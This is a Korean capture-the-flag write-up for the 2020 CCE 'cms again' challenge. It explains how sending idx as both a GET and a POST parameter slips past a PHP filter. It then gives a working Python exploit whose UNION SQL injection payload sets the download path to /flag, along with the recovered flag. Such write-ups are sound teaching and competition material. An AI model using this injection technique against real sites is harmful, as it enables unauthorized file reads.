2020 CCE - cms again

문제 파일 (for_user.zip)

문제는 간단하다. download.php를 보면 validation 하지 않는$_GET['idx']가 있다.
이것은 더 먼저 실행되는 config.php에서 $_REQUEST['idx']로 값 validation check를 하지만, idx를 get, post 변수로 모두 보낼 경우 $_REQUEST['idx']$_POST['idx']를 가리키게 되어 $_GET['idx']로 sql injection을 할 수 있게 된다.

html/download.php
1
2
3
4
5
6
7
8
9
10
11
<?php
include('./config.php');
ob_end_clean();

if(!trim($_GET['idx'])) alert('파일을 찾을 수 없습니다', 'back');

$query = array(
'idx' => $_GET['idx']
);

$file = fetch_row('board', $query);
html/config.php
36
37
38
39
40
41
// global filter
if(trim($_REQUEST['idx'])){
if(preg_match('/[^0-9]/', $_REQUEST['idx'])){
alert('비정상적인 값이 존재 합니다', './index.php');
}
}

/flag를 다운받아야 하므로 download.php에서 file_path에 해당하는 부분을 /flag로 리턴해주도록 injection을 진행했다.

1
2
3
4
5
6
7
8
9
10
11
CREATE TABLE `board` (
`idx` int(11) NOT NULL AUTO_INCREMENT,
`title` text,
`content` text,
`file_path` varchar(200) DEFAULT NULL,
`file_name` varchar(200) DEFAULT NULL,
`require_level` int(10) DEFAULT NULL,
`id` varchar(50) DEFAULT NULL,
`date` varchar(50) DEFAULT NULL,
PRIMARY KEY (`idx`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

union select를 통해 file_path에 해당하는 부분을 찾고 다운을 받으면 끝이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

cookies = {
'PHPSESSID': '394026180bcf915ec2b7d765be069160',
}

headers = {
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'DNT': '1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Referer': 'http://54.180.79.80/note.php',
'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6,zh;q=0.5',
}

params = (
('idx', "1' and 1=1 union select 1,2,3,'/flag',5,6,7,8#"),
)

response = requests.post('http://54.180.79.80/download.php', headers=headers, params=params, cookies=cookies, data={'idx':'1'})
print response.text
# cce2020{0985f91c6490ddf03af29631b8c62afb0a066efb91ed9600caad4942fa512827bd636bd56b39529589fa22b58dd6be71e99d2582fb015a86}
Share